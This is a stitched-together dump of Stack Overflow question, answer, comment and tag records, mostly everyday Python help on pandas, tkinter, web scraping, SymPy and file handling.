has comment: http://stackoverflow.com/comment/81402082
has comment: http://stackoverflow.com/comment/81401874
has comment: http://stackoverflow.com/comment/81403071
answer count: 2
has body: So I've started down the path again of trying to automate something. My end game is to combine the data within Excel files containing the Clean Up in the file name and combine the data from a tab within these files named LOV. So basically it had to go into a folder with folders which have folders again that have 2 files, one file has the words Clean Up in the naming and is a .xlsx file. Which I need to only read those files and and pull the data from the tab called LOV into one large file. --- So that's my end goal. Which I just started and I am no where near, but now you know the end game. Currently I'm stuck just getting a list of Folder names in the Master folder so I at least know it's getting there lol. import os import glob import pandas as pd # assigns directory location to PCC Folder os.chdir('V:/PCC Clean Up Project 2017/_DCS Data SWAT Project/PCC Files Complete Ready to Submit/Brake System Parts') FolderList = glob.glob('') print(FolderList) Any help is appreciated, thanks guys!
has comment: http://stackoverflow.com/comment/81401899
linked to: http://stackoverflow.com/q/2690324
type: UnansweredQuestion
tagged with: excel
type: Question
has title: Import list of folder names in a folder with Python
score: 0

http://stackoverflow.com/comment/81709078
score: 0
has text: Thank you for your answer ! However, this would render the form, but once the button 'Save' is clicked, it directs me to '405 Method Not Allowed'. Moreover, all users can see a 'modifyable' form (even if the POST doesn't work), even when it's not their Announce. What I would like, is kind of exactly the same version as the Browsable API (ie, the fields are modifyable by only the owner of the Announce), but rendered in a HTML template.
comment on: http://stackoverflow.com/a/47378333
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47258433
has comment: http://stackoverflow.com/comment/81467580
type: Answer
has body: On can do calulations in (datamodel / class) in javascript 1 : you can create a javascript class function sales(){ let self = this this.address = ''; this.personname = ''; this.totalVat = 0 this.items = []; this.calculateTax = function(){ let tax = ...compute items array and set self.totalVat = tax } } Note : you can use this data model if you are going to use it only on ui else if you want to use it on server then you can use same datamodel on server esle if you want to use on both server and ui then (you can maintain only 1 copy of this model shared by server and ui , here you can use require.js bundling to take help of sharing one datamodel , also there are nice articles that show how to share js datamodels) in Case Of (you want to use on both server and ui then) You mentioned database , you create mechanism to store formula in database and you can generate sales_datamodel.js on server whenever any changes are done in datamodel in db
has comment: http://stackoverflow.com/comment/81484841
score: 0
has comment: http://stackoverflow.com/comment/81509189
has comment: http://stackoverflow.com/comment/81485825
answers question: http://stackoverflow.com/q/47258026

http://stackoverflow.com/a/47380235
answers question: http://stackoverflow.com/q/47379141
type: Answer
has comment: http://stackoverflow.com/comment/81724789
accepted answer of: http://stackoverflow.com/q/47379141
has comment: http://stackoverflow.com/comment/81724821
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
has body: You can try this code: import requests from bs4 import BeautifulSoup html = "http://www.hkexnews.hk/sdw/search/mutualmarket.aspx?t=hk" r=requests.get(html) c=r.content soup=BeautifulSoup(c,"html.parser") all_tables=[[td.text for td in tr.find_all('td')] for tr in soup.find_all('table')[2].find_all('tr')] stock_info=[[sub_item.replace('\r\n', '') for sub_item in item] for item in all_tables] for stock in stock_info[2:]: print("Stock code {}".format(stock[0])) print("Stock Name {}".format(stock[1])) print("Shareholding in CCASS {}".format(stock[2])) print("Shares Percentage {}".format(stock[3])) print("---------------------------------- \n") Sample of output: Stock code 1 Stock Name CK HUTCHISON HOLDINGS LIMITED Shareholding in CCASS 11,746,298 Shares Percentage 0.30% ---------------------------------- Stock code 2 Stock Name CLP HOLDINGS LIMITED Shareholding in CCASS 3,160,800 Shares Percentage 0.11% ---------------------------------- Stock code 3 Stock Name HONG KONG AND CHINA GAS COMPANY LIMITED, THE Shareholding in CCASS 17,183,763 Shares Percentage 0.11% ---------------------------------- Stock code 4 Stock Name WHARF (HOLDINGS) LIMITED, THE Shareholding in CCASS 2,828,000 Shares Percentage 0.09% ----------------------------------
has comment: http://stackoverflow.com/comment/81725171
has comment: http://stackoverflow.com/comment/81725239
has comment: http://stackoverflow.com/comment/81765775

http://stackoverflow.com/comment/112672918
type: Comment
comment on: http://stackoverflow.com/a/58627951
score: 0
type: AnswerComment
has text: Ok so it's also in the "Using Pyinstaller" section.

http://stackoverflow.com/a/47359458
has comment: http://stackoverflow.com/comment/81672227
has body: I assume your dataframe isn't one row long, so you can't assign a single value to df['C']. You could make a list of the same length as the dataframe: import pandas as pd df = pd.DataFrame(data=list(range(5)), columns=["Sample"]) df['C'] = [{"test":"value"}]* df.shape[0] df Sample C 0 0 {'test': 'value'} 1 1 {'test': 'value'} 2 2 {'test': 'value'} 3 3 {'test': 'value'} 4 4 {'test': 'value'} or use apply to run some function which populates the column: df['C'] = df['Sample'].apply(lambda x: {'test{}'.format(x):'Unknown'}) df Sample C 0 0 {'test0': 'Unknown'} 1 1 {'test1': 'Unknown'} 2 2 {'test2': 'Unknown'} 3 3 {'test3': 'Unknown'} 4 4 {'test4': 'Unknown'} Using apply has the advantage of being able to easily drop existing data from the dataframe into the new column. For example here the number for test is being passed in from the "Sample" field.
answers question: http://stackoverflow.com/q/47358233
type: Answer
has comment: http://stackoverflow.com/comment/81671979
has comment: http://stackoverflow.com/comment/81671784
accepted answer of: http://stackoverflow.com/q/47358233
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81537907
type: AnswerComment
has text: That's handy to know, thanks for the tip! I'm still getting index out of range errors though, so must be something I'm doing wrong?
score: 0
comment on: http://stackoverflow.com/a/47293352
type: Comment

http://stackoverflow.com/comment/81714366
type: Comment
has text: Well no. If the linked answer answers your question, one would mark this as duplicate instead of answering it again.
type: QuestionComment
comment on: http://stackoverflow.com/q/47380608
score: 0

exit
tags question: http://stackoverflow.com/q/47258098
tag name: exit
type: Tag

http://stackoverflow.com/a/47251652
has comment: http://stackoverflow.com/comment/81486358
has comment: http://stackoverflow.com/comment/81488301
has comment: http://stackoverflow.com/comment/81455683
has body: Let us - for a moment - ignore the second constraint x &lt; y. Then one strategy would be lumping together all numbers with the same sum of digits. For example, if your n is 10^250, say, then the s.o.d. 1000 will occur exactly 1983017386182586348981409609496904425087072829264027113757253089553808835917213113938681936684409793628116446312878275672807319027255318921532869897133614537254127444640190990014430819413778762187558412950294708704055125267388491053875845430856889 times, while the s.o.d. 10 would occur 313933899756954150 times. So these two s.o.d.s together would give rise to the product of these numbers, i.e. 622536381330141298432969991820256911356499404510841221727177771404498196898219200726905190334516036530761185604472351714146659153338691825580165670694714765688631611013643183449188160088364429780094383087473530152672586062700335444189441183499432858425871184639350 pairs. Or with slightly less megalomaniac numbers: n = 88, s.o.d.1 = 10, s.o.d.2 = 7 we get 8 and 8, hence 64 pairs. The code below implements this strategy (function nonsod) using a simple recurrence relation going digit by digit. As there is a lot of redundant branching a cache is used. The full count for n = 10^250 (still without enforcing x &lt; y) is 49689518924223997098471223543364330459595831386684873270186194285660874002514005047966357557084650317768560146609913273315351520002512374912739761203458271777707529815027881619901050952541693486379889157466211100495006800815751752605470841565728511141845695222712435837491694221722360852940495211481721723206152092725455942611410225513504242173241811867522974465909681478041570056834016566434386955417360661126555266582980778790541324964301380703686112669669641207272764740986099727604245250714092580 and takes just a couple of seconds to compute. Now let us bring back constraint two: x &lt; y We can use the unconstrained code by conditioning on the leftmost digit of x and y respectively. If they are the same, we can chop them off and use recurrence…
has comment: http://stackoverflow.com/comment/81455059
has comment: http://stackoverflow.com/comment/81453695
has comment: http://stackoverflow.com/comment/81459321
has comment: http://stackoverflow.com/comment/81472745
score: 0
has comment: http://stackoverflow.com/comment/81456082
has comment: http://stackoverflow.com/comment/81476556
has comment: http://stackoverflow.com/comment/81455616
has comment: http://stackoverflow.com/comment/81486124
has comment: http://stackoverflow.com/comment/81488608
has comment: http://stackoverflow.com/comment/81454197
has comment: http://stackoverflow.com/comment/81455383
has comment: http://stackoverflow.com/comment/81454451
has comment: http://stackoverflow.com/comment/81486813
has comment: http://stackoverflow.com/comment/81454647
has comment: http://stackoverflow.com/comment/81454522
answers question: http://stackoverflow.com/q/47250213
has comment: http://stackoverflow.com/comment/81456060
type: Answer
has comment: http://stackoverflow.com/comment/81454106

http://stackoverflow.com/a/47267857
has body: df.set_index('id')['token_list'].\ apply(pd.Series).stack().reset_index(name='V').\ groupby('V')['id'].apply(list).to_dict() Out[359]: {'a': [1, 3], 'b': [1], 'c': [1, 2, 4], 'd': [2], 'e': [3], 'f': [3, 4]}
upvote count: 2
answers question: http://stackoverflow.com/q/47267681
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/81668998
type: QuestionComment
has text: @ryachza Decorators are used to modify returned value from the function. It is like writing `function = decorator(function)`. Returned value is the only behavior the function has. Others are called "side effects".
comment on: http://stackoverflow.com/q/47357635
type: Comment
score: 0

http://stackoverflow.com/q/47320176
type: Question
has answer: http://stackoverflow.com/a/48668520
type: UnansweredQuestion
has body: I am getting the following error when I try to run systrace in android. "ValueError: close_fds is not supported on Windows platforms if you redirect stdin/stdout/stderr" Did anyone else face this issue? Stack trace CRITICAL:root:(TimeoutThread-1-for-MainThread) Exception on _RunAdbCmd(&lt;class 'devil.android.sdk.adb_wrapper.AdbWrapper'&gt;, ['devices'], retries=2, timeout=30), attempt 1 of 3: ValueError('close_fds is not supported on Windows platforms if you redirect stdin/stdout/stderr',) CRITICAL:root:(TimeoutThread-2-for-MainThread) Exception on _RunAdbCmd(&lt;class 'devil.android.sdk.adb_wrapper.AdbWrapper'&gt;, ['devices'], retries=2, timeout=30), attempt 2 of 3: ValueError('close_fds is not supported on Windows platforms if you redirect stdin/stdout/stderr',) Traceback (most recent call last): File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\systrace.py", line 49, in &lt;module&gt; sys.exit(run_systrace.main()) File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\catapult\systrace\systrace\run_systrace.py", line 194, in main main_impl(sys.argv) File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\catapult\systrace\systrace\run_systrace.py", line 155, in main_impl devices = [a.GetDeviceSerial() for a in adb_wrapper.AdbWrapper.Devices()] File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\catapult\systrace\systrace\..\..\devil\devil\android\sdk\adb_wrapper.py", line 363, in Devices retries=retries) File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\catapult\systrace\systrace\..\..\devil\devil\android\sdk\adb_wrapper.py", line 383, in _RawDevices output = cls._RunAdbCmd(cmd, timeout=timeout, retries=retries) File "C:\Users\shaq\AppData\Local\Android\android-sdk\platform-tools\systrace\catapult\systrace\systrace\..\..\devil\devil\android\decorators.py", line 57, in timeout_retry_wrapper retry_if_func=retry_if_func) File "C:\Users\sha…
tagged with: android
tagged with: python
tagged with: systrace
score: 0
answer count: 1
has title: android systrace close_fds error

http://stackoverflow.com/comment/81698912
score: 0
comment on: http://stackoverflow.com/q/47372395
has text: @user8964444 can you give a little more info on what exactly the output is? You mention "get a format like this" -- that doesn't really look like a DataFrame format. If your question is about more than just including the 0-counts, then yes that would be a reason to re-open, I think.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47238649
has answer: http://stackoverflow.com/a/47238717
tagged with: indexing
type: Question
tagged with: dataframe
tagged with: python
has body: So I have a DataFrame, f, with weekly indexes: Open High Low Close Volume Date 2017-07-24 5.05 5.120 5.010 5.19 16306737.0 2017-07-31 5.31 5.475 5.280 5.24 45182199.0 2017-08-07 5.69 5.740 5.640 5.67 10167161.0 2017-08-14 5.65 5.680 5.440 5.76 28296416.0 2017-08-21 5.49 5.605 5.480 5.55 16126060.0 2017-08-28 6.00 6.030 5.940 5.95 19398271.0 2017-09-04 5.86 5.965 5.845 6.01 20218389.0 2017-09-11 5.98 6.030 5.830 5.98 15812289.0 2017-09-18 5.71 5.770 5.540 5.81 30786508.0 2017-09-25 5.16 5.190 5.090 5.17 13641128.0 I want to parse a datetime object to it, if that datetime object exists in the index then I'll use the data in that row, otherwise if it doesn't exist in the index then grab the next row after where my parsed date would be. E.g: if I parse f.loc[(datetime.datetime(2017, 09, 07)] then that isn't in the index so I want it to grab the row 2017-09-11 5.98 6.030 5.830 5.98 15812289.0 since that is the next indexed date after 7 September.
tagged with: pandas
type: AnsweredQuestion
score: 0
has title: Pandas getting next available datetime index if desired one doesn't exist
accepted answer: http://stackoverflow.com/a/47238717
answer count: 1

http://stackoverflow.com/comment/81463534
comment on: http://stackoverflow.com/q/47253799
has text: Here's an image of all the XHR requests (as expected, the 2 ajax requests in my question are there at the top): https://i.imgur.com/YHTfGgu.png - does this tell you anything?
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/47230519
duplicate of: http://stackoverflow.com/q/36526282
has comment: http://stackoverflow.com/comment/81411601
has comment: http://stackoverflow.com/comment/81411767
has comment: http://stackoverflow.com/comment/81411708
favorite count: 0
has comment: http://stackoverflow.com/comment/81411940
type: Question
has comment: http://stackoverflow.com/comment/81412299
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81412102
downvote count: 0
upvote count: 1
tagged with: python
has body: I have pandas data frame numbered from x1,x2....x100 with same columns. I want to append them all using a for loop. How can i do that? I know how to append two dataframe but how to do it for 100 of them. The main problem here is how can i have a dynamic variable name. I want to append the data frames not concat. x=x1.append(x2) x=x.append(x3) and so on. I want to this in a loop.
linked to: http://stackoverflow.com/q/13603215
has comment: http://stackoverflow.com/comment/81412056
tagged with: python-2.7
has title: How to append pandas dataframe with similar names in a loop?
has comment: http://stackoverflow.com/comment/81411968
tagged with: pandas
duplicate of: http://stackoverflow.com/q/13603215
score: 1
has comment: http://stackoverflow.com/comment/81412187

http://stackoverflow.com/q/47322400
accepted answer: http://stackoverflow.com/a/47325431
tagged with: arrays
has comment: http://stackoverflow.com/comment/81745212
tagged with: python
answer count: 5
has answer: http://stackoverflow.com/a/47325431
has comment: http://stackoverflow.com/comment/81595813
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47325359
tagged with: max
downvote count: 0
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/47322588
has answer: http://stackoverflow.com/a/47323595
has body: I am hoping to delete the highest number and the lowest number from the array 3*4. Let's say, the data looks like this: a=np.array([[1,4,5,10],[2,6,5,0],[3,9,9,0]]) so I expected to see the result like this: deleted_data=[4,5],[2,5],[3] Could you advise me how to delete the max and min from each array? to do so, I did like this (UPDATE): #to find out the max / min values: b = np.max(a,1) #max c = np.min(a,1) #min #creating dataset after deleting max &amp; min d=(a!=b[:,None]) &amp; (a!=c[:,None]) f=[i[j] for i,j in zip(a, d)] output: [array([8, 7, 7, 9, 9, 8]), array([8, 7, 8, 6, 8, 8]), array([9, 8, 9, 9, 8]), array([6, 7, 7, 6, 6, 7]), array([7, 7, 7, 7, 6])] Now I am not sure how to calculate the mean of the list objects? I would like to calculate the mean of each array, so I have tried this: mean1=f.mean(axis=0) but it did not work.
has answer: http://stackoverflow.com/a/65146826
favorite count: 0
has comment: http://stackoverflow.com/comment/81650384
has answer: http://stackoverflow.com/a/47322588
tagged with: numpy
type: Question
has title: Removing max and min elements of array from mean calculation

http://stackoverflow.com/comment/81489833
has text: Sorry, but this is still not what I wanted. Guy in thread above helped me already, but thanks for help anyway.
comment on: http://stackoverflow.com/a/47254343
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47240199
type: Question
accepted answer: http://stackoverflow.com/a/47240392
linked to: http://stackoverflow.com/q/23294658
has answer: http://stackoverflow.com/a/47240392
has body: I'm making a function that will keep asking for a new input until it receives either numbers 0-8 or 'X'. So far I made this, but it doesn't work. I know why it doesn't work, but don't know how to make it work. def get_computer_choice_result(computer_square_choice): print('What is hidden beneath square', computer_square_choice, '? (0 - 8 -&gt; number of surrounding mines or X)') field_content = input() while not (ord(field_content) &gt; ord('0') and ord(field_content) &lt; ord('8')) or field_content != 'X': field_content = input('Invalid input.Please enter either 0 - 8 -&gt; number of surrounding mines, or X -&gt; a mine.') return field_content
tagged with: input
tagged with: python
duplicate of: http://stackoverflow.com/q/23294658
type: AnsweredQuestion
score: 0
tagged with: function
answer count: 1
has title: Make function accept 0-9 and X

http://stackoverflow.com/a/47241934
has comment: http://stackoverflow.com/comment/81434890
has body: You are overwriting the string s in every loop with s = '\n'.join(l). Allocate s = '' as empty string before the for-loop and add the new lines during every loop, e.g. with s += '\n'.join(l) (short version of s = s + '\n'.join(l) This should work: inp = open('rawCorpus.txt', 'r') out = open('testFile.text', 'w') s = '' # empty string for line in iter(inp): l = line.split('.') s += '\n'.join(l) # add new lines to s print(s) out.write(str(s)) inp.close() out.close()
score: 0
has comment: http://stackoverflow.com/comment/81434450
type: Answer
has comment: http://stackoverflow.com/comment/81434373
has comment: http://stackoverflow.com/comment/81434401
has comment: http://stackoverflow.com/comment/81434507
answers question: http://stackoverflow.com/q/47241845

http://stackoverflow.com/comment/81469447
comment on: http://stackoverflow.com/q/47259102
has text: @SRD, added the code snippet.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81557190
type: Comment
has text: @NextTV, I don't know what you mean by "the value of wert" but the value of `wert.get()` comes back as the string "1", "2" or "3" on my system.
type: AnswerComment
comment on: http://stackoverflow.com/a/47302667
score: 0

http://stackoverflow.com/q/47262388
answer count: 1
tagged with: button
tagged with: python
has body: I am stating to develop a program in which you click a button with the text "open" on it, and it will bring up a file selection window using filedialog.askopenfilename, but the button won't appear, and it will automatically bring up the window without the button needing to be pressed. Here is the code: from tkinter import * from tkinter import filedialog root = Tk() root.title("Snake converter") sim = filedialog.askopenfilename(filetypes = (("Snake files", "*.sim"),("Python Files", "*.py"),("All files", "*.*"))) openbutton = Button(root, text = "Open", width = 10, command = sim)
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47262506
has title: Button not appearing in tkinter. (python)
accepted answer: http://stackoverflow.com/a/47262506
type: Question
tagged with: tkinter

http://stackoverflow.com/q/47344154
tagged with: pyldap
answer count: 1
has body: I am using pyldap to connect to AD server pyldap is providing two functions bind_s() and simple_bind_s() can any one explain me when to use bind_s() and simple_bind_s() and which one is best.
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47344602
tagged with: python
has answer: http://stackoverflow.com/a/47344602
type: Question
score: 0
has title: pyldap AD authentication bind_s vs simple_bind_s

http://stackoverflow.com/q/47246408
type: UnansweredQuestion
tagged with: right-to-left
tagged with: wxpython
tagged with: python
has body: i am using this command, which should switch my layout to RTL but the message dialog is still LTR: self.SetLayoutDirection(wx.Layout_RightToLeft) message dialog: FinishMessage=wx.MessageDialog(self, "הבדיקה הסתיימה\r\n התוצאות נמצאות בקובץ אקסל במיקום הקובץ", caption="סיום בדיקת ניחות",style=wx.OK) how do i fix the text will be right to left?
score: 2
tagged with: wxwidgets
answer count: 0
downvote count: 0
tagged with: messagedialog
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81497057
has comment: http://stackoverflow.com/comment/81554179
has title: wxpython message dialog right to left

http://stackoverflow.com/comment/109279083
comment on: http://stackoverflow.com/a/50174077
has text: Hi @ThanhNguyen, did you figure it out?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47245402
has comment: http://stackoverflow.com/comment/81441222
tagged with: variables
duplicate of: http://stackoverflow.com/q/4450144
type: Question
has body: When I run a program for the second time, how can I make it remember the variables that have changed? So for the first time it is run: &gt;&gt;&gt; foo = ["bar", "foo"] &gt;&gt;&gt; foo[2] = raw_input() And then the second time it is run it remembers what foo[2] is without the user having to put it in again.
has comment: http://stackoverflow.com/comment/81441235
linked to: http://stackoverflow.com/q/4529815
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47245421
duplicate of: http://stackoverflow.com/q/4529815
tagged with: python-2.7
score: 0
answer count: 2
has title: How can I make a program remember variables every time it is run in python?
has answer: http://stackoverflow.com/a/47245448

http://stackoverflow.com/comment/81635231
score: 0
has text: Ah, I see. Thank you.
comment on: http://stackoverflow.com/q/47339896
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/98149226
has text: is it possible to further avoid the ipykernel dependency, by using a standard kernel that somehow points to the virtualenv? I'm thinking of projects where _I_ want to use jupyter, but others may not. I'd prefer to avoid anything specific to _me_ in the pipenv deps.
type: Comment
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/47296960

http://stackoverflow.com/comment/81410408
score: 0
type: Comment
type: QuestionComment
has text: I updated my question because I need more than just one month in the output.
comment on: http://stackoverflow.com/q/47228645

http://stackoverflow.com/comment/81460999
comment on: http://stackoverflow.com/q/47255158
has text: @everyone suggesting regex: Regex has a lot more features than just "things in square brackets". Correctly escaping all the regex metacharacters _except_ the character classes is probably more difficult than writing a non-regex solution.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47285092
has comment: http://stackoverflow.com/comment/81520095
type: Question
possible better answer: http://stackoverflow.com/a/47285319
has body: I do face following odd behavior: paths =['./01_data\\2017-04-12 yy\\data.xlsx', './01_data\\2017-05-01 dd\\data.xlsx', './01_data\\2016-11-18 xx\\data.xlsx', './01_data\\2017-10-11 dd\\data.xlsx'] the paths to my data file are generated by: paths = [item for item in glob.glob('./01_data/**/**') if '.xlsx' in item] I do loop over the file paths and want to extract the date from it: # date measured re_date = re.compile(r'\d{4}-\d{2}-\d{2}') What does work: dates = [] for i in len(paths): match = re_date.search(paths[i]) if match: dates.append(match.group()) If I use enumerate, the paths are changed and \\ is converted to : for item, file in enumerate(paths): print(file) ./01_data\2017-04-12 yy\data.xlsx ./01_data\2017-05-01 dd\data.xlsx ./01_data\2016-11-18 xx\data.xlsx ./01_data\2017-10-11 dd\data.xlsx Same behavior with: for file in paths: print(file) ./01_data\2017-04-12 yy\data.xlsx ./01_data\2017-05-01 dd\data.xlsx ./01_data\2016-11-18 xx\data.xlsx ./01_data\2017-10-11 dd\data.xlsx Regex does not work with these strings because the missing '\\'. Any ideas why iteration over the list changes '\\' to '\' ? It is not a big deal to change my code but it took me quite a while to find the source of the error.
has answer: http://stackoverflow.com/a/47285319
has comment: http://stackoverflow.com/comment/81520493
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47285318
downvote count: 1
has comment: http://stackoverflow.com/comment/81520785
favorite count: 0
has answer: http://stackoverflow.com/a/47285318
type: AnsweredQuestion
has title: python string changed when using enumerate over path names
answer count: 3
score: 0
has answer: http://stackoverflow.com/a/47285324
tagged with: regex

http://stackoverflow.com/a/47255213
has body: You need to insert first: sqlite&gt; insert into total values (0.0); Now you can do: sqlite&gt; update total set amount = 0.002;
has comment: http://stackoverflow.com/comment/81473463
has comment: http://stackoverflow.com/comment/81499756
type: Answer
accepted answer of: http://stackoverflow.com/q/47255103
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47255103
score: 1
upvote count: 1

http://stackoverflow.com/a/47242242
has body: Add this code in your html: {% for message in get_flashed_messages() %} &lt;div class=flash&gt;{{ message }}&lt;/div&gt; {% endfor %} And this in your py: from flask import flash and instead of return "&lt;h1&gt;... Put this: flash("some text to flash")
has comment: http://stackoverflow.com/comment/81439894
has comment: http://stackoverflow.com/comment/81435546
type: Answer
answers question: http://stackoverflow.com/q/47242160
has comment: http://stackoverflow.com/comment/81436667
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81445816
accepted answer of: http://stackoverflow.com/q/47242160
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81436321
has comment: http://stackoverflow.com/comment/81436394

http://stackoverflow.com/q/47374860
has answer: http://stackoverflow.com/a/47374933
has comment: http://stackoverflow.com/comment/81702278
type: Question
score: 0
has body: I have a json file that fails loading when I use the following code: indices_json_path = 'file.json' with open(indices_json_path) as json_data: d = json.load(json_data) But if I manually open this file in notepad++ and click encode=>encode UTF-8, then save the file and re-run the code so everything works well. I would like to avoid manual repair. Any help?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47375541
tagged with: python
has title: Read json in python after encoding it
has comment: http://stackoverflow.com/comment/81702255
answer count: 2
has comment: http://stackoverflow.com/comment/81702217
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/91534953
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47373292
has text: what if you don't want to reset the index, but still want a column with a counter?
type: Comment

http://stackoverflow.com/comment/81459752
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47254605
has text: in what directory you have bootstrap.min.js ?

http://stackoverflow.com/comment/81634644
type: Comment
score: 1
comment on: http://stackoverflow.com/q/47341170
type: QuestionComment
has text: Why are you using `number = number + 1` within a range loop?

http://stackoverflow.com/comment/81534289
type: Comment
comment on: http://stackoverflow.com/a/47291578
score: 0
type: AnswerComment
has text: @skibbereen Which is why I provided option 1 before option 2 ;/

http://stackoverflow.com/comment/81531987
type: Comment
comment on: http://stackoverflow.com/a/47289854
score: 0
type: AnswerComment
has text: So what are you passing to headers? When I take the headers argument out completely I get 404 errors.

http://stackoverflow.com/a/47324932
accepted answer of: http://stackoverflow.com/q/47324756
type: Answer
answers question: http://stackoverflow.com/q/47324756
has comment: http://stackoverflow.com/comment/81600509
upvote count: 39
downvote count: 0
type: AcceptedAnswer
has body: Have you installed matplotlib properly? I added an extra line to your code to show the plot. This code works properly in Visual Studio after installing the matplotlib library. import matplotlib.pyplot as plt import numpy as np x = np.linspace(-10 , 10, 100) y = np.sin(x) plt.plot(x, y, marker="x") plt.show()
score: 39

http://stackoverflow.com/comment/81620821
type: Comment
type: AnswerComment
has text: Not as strange as `True and False`.
comment on: http://stackoverflow.com/a/47334740
score: 1

http://stackoverflow.com/comment/81693353
score: 0
comment on: http://stackoverflow.com/q/47370367
type: QuestionComment
has text: Why do you think you care where it is installed?
type: Comment

http://stackoverflow.com/comment/81843427
type: AnswerComment
has text: This solves it - thank you so much for all of your help! I sincerely appreciate it : )
comment on: http://stackoverflow.com/a/47243976
type: Comment
score: 0

http://stackoverflow.com/q/47337781
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47338969
score: 1
has body: I am wondering if there is a way to have SymPy recognize that expressions such as Pow(positive, variable) will always be greater than zero (assuming real numbers). from sympy import * init_session() StictLessThan(0, 1) # returns desired output &gt;&gt;&gt; False StrictLessThan(0, x) # returns desired output &gt;&gt;&gt; 0 &lt; x StrictLessThan(0, 2**x) # returns undesired output, but not surprising &gt;&gt;&gt; 0 &lt; 2**x (2**x).is_comparable # From this I assume that I would have to define my own function &gt;&gt;&gt; False some_function(0, 2**x) # does this exist built into the SymPy package? &gt;&gt;&gt; True I am aware that I can make my own function to do this, but I am curious as to the built-in capabilities and limitations of SymPy. def is_positive_exponential(exponential): base, exponent = exponential.as_base_exp() return True if base &gt; 0 else False
has title: Comparing a Sympy expression with variable exponent to zero
has answer: http://stackoverflow.com/a/47338969
tagged with: python
type: Question
tagged with: sympy
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81660242
type: Comment
type: QuestionComment
score: 0
has text: @Barmar, I understand now- sorry no youre right, it doesnt make sense to do that- in my script it is solr_df=solr_df.append(df) I just renamed it when postiing the question here. Fixed to avoid confusion.
comment on: http://stackoverflow.com/q/47341198

http://stackoverflow.com/q/47298405
score: 0
has comment: http://stackoverflow.com/comment/81548265
has comment: http://stackoverflow.com/comment/81548335
has title: how to change the execution (execution = read and print) of python script: python script.py file.txt to python script.py
tagged with: python
linked to: http://stackoverflow.com/q/47293645
type: Question
answer count: 0
has body: I managed to write a script (script2.py), which gives a good result, (output = -553.75). [the answer to the question: how to read a specific position in the last line using python #!/usr/bin/env python import sys, os import datetime import time as t # Define Variables omega = 0 numBasisLst = [] numBasis = [] oTE_list = [] oTE = [] # Open File fileName = sys.argv[1] outputFile = open(fileName, 'r') # Sort Input Into Lists for line in outputFile: line = line.split() # split lines into lists if not line: # skip empty lines continue if len(line) &gt;= 3: if line[0] == 'word1' and line[1] == 'word2' and line[2] == 'word3' and line[3] == 'word4': oTE_list.append(line[4]) # Change Lists To Number Format for item in oTE_list: oTE.append(float(item)) for idx, item in enumerate(oTE): if idx == len(oTE) - 1: print(item) but executing as follows: python script2.py file.txt. my question is ; how to change the script2.py in order to execute as follows: $ python script2.py
has comment: http://stackoverflow.com/comment/81548597
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81548382
has comment: http://stackoverflow.com/comment/81548481
has comment: http://stackoverflow.com/comment/81548657

http://stackoverflow.com/q/47292798
has comment: http://stackoverflow.com/comment/81536165
has comment: http://stackoverflow.com/comment/81536831
has body: Having trouble installing pyenchant: Command "python setup.py egg_info" failed with error code 1 in c:\temp\pip-build-9s6c_h\pyenchant\ I tried using pip install --upgrade setuptools but that didn't help at all. Not sure what to do. EDIT: Additional traceback: Collecting pyenchant Using cached pyenchant-1.6.11.tar.gz Complete output from command python setup.py egg_info: Traceback (most recent call last): File "&lt;string&gt;", line 1, in &lt;module&gt; File "c:\temp\pip-build-farfu_\pyenchant\setup.py", line 212, in &lt;module&gt; import enchant File "enchant\__init__.py", line 92, in &lt;module&gt; from enchant import _enchant as _e File "enchant\_enchant.py", line 145, in &lt;module&gt; raise ImportError(msg) ImportError: The 'enchant' C library was not found. Please install it via your OS package manager, or use a pre-built binary wheel from PyPI.
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81536627
has answer: http://stackoverflow.com/a/51334607
type: UnansweredQuestion
has title: Command "python setup.py egg_info" failed with error code 1 in c:\temp\pip-build-9s6c_h\pyenchant\
tagged with: pip
upvote count: 1
tagged with: python
tagged with: pyenchant
has comment: http://stackoverflow.com/comment/81536946
tagged with: installation
score: 1
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81536806

graph-tool
tag name: graph-tool
type: Tag
tags question: http://stackoverflow.com/q/47338678

http://stackoverflow.com/comment/81465713
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47246575
